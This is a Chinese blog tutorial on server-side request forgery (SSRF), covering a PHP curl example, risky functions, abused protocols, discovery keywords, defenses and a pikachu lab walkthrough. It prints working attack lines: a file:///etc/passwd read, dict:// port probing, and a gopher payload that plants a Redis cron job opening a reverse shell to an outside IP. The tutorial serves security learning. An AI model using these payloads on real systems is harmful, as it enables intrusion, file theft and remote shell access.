SSRF漏洞

SSRF漏洞,第1张

SSRF例子

SSRF (Server-Side Request Forgery):服务器端请求伪造
先举一个例子:
对于这个网站(一个写的小例子,部署在phpstudy中访问的,这是为了理解)
它的参数url,我们通过它传入一个文件地址或者网址。它通过服务器的一个文件进行请求访问,并传回给浏览器。
还可以读取文件。
上面的网站代码用php写的,用到了curl(): 获取网页资源——爬虫、webservice——获取接口数据、FTP——下载文件 。 用它要将php.ini 中的extension=php_curl.dll打开。
还有其他函数也可能导致的SSRF漏洞。

函数作用
curl_exec()执行 cURL 会话
file_get_contents()将整个文件读入一个字符串
fsockopen()打开一个网络连接或者一个Unix套
接字连接

curl 其他协议:

协议
file查看文件curl -v 'file:///etc/passwd
dict探测端口http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306
gopher反dshellcurl -v’gopher://127.0.0.1:6379/_3%0d%0a%0d%0aset%0d%0a%0d%0a1%0d%0a%0d%0a%0a%0a%0a/1 * * * * bash -i >&/dev/tcp/192.168.142.135/44440>&1%0a%0a%0a%0d%0a4%0d%0a%0d%0aconfig%0d%0a%0d%0aset%0d%0a%0d%0adir%0d%0a%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a1%0d%0a%0d%0asave%0d%0a1%0d%0a$4%0d%0aquit%0d%0

dict协议:用于搭建在线字典服务
gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代

SSRF定义

SSRF Server-Side Request Forgery服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

危害
  • 扫描资产
  • 获取敏感xinx
  • 攻击内网服务器(饶过防火墙)
  • 访问大文件,照成溢出
  • 通过Redis写出WebShell或建立反d连接
如何发现

1.爬取地址
2.查看是否请求了其他资源

也可以搜索关键字 :share、wap、url、link、src、source、target、u、
3g、display、sourceURL、imageURL、domain

工具

SSRF-Tedting、SSRFmap 等 在github上下载源码去使用。

防御

1、禁用协议
2、限制请求端口
3、设置URL白名单
4、过滤返回信息
5、统一错误信息

靶场

pikachu

点开,看到url中请求了一个地址,那我们能利用它去获取其他文件,


试一试,可以访问到百度。那它也是可以访问其他网站,包括恶意网站。

那我们还可以试试用伪协议去访问本地文件。可以读取到。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/716472.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-25
下一篇 2022-04-25

发表评论

登录后才能评论

评论列表(0条)

保存